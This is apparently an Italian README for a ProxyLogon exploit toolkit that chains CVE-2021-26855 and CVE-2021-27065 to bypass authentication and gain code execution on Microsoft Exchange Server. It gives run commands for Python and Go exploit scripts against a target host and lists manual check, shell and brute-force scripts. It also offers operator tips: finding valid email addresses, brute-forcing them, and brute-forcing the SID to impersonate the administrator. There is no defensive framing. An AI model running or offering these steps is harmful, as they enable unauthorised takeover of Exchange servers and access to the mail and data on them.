ProxyLogon

ProxyLogon è il nome generico formale per CVE-2021-26855, una vulnerabilità in Microsoft Exchange Server che consente a un attaccante di bypassare l'autenticazione e di impersonare l'amministratore. Abbiamo anche concatenato questo bug con un'altra vulnerabilità post-autenticazione di scrittura arbitraria di file, CVE-2021-27065, per ottenere l'esecuzione di codice.

ProxyLogon per Python3

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon per Go

usage:
    go run proxylogon.go -u target.com -e [email protected]

Consigli:

1. esegui una ricognizione del target per trovare un indirizzo email valido
2. se non trovi alcuna email, usa il bruteforce sul target con il tuo file di email.
3. su alcuni target l'exploit automatizzato non funziona, dovresti fare bruteforce del SID e sostituirlo con SID=500

pentest manuale

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

riferimenti

• proxylogon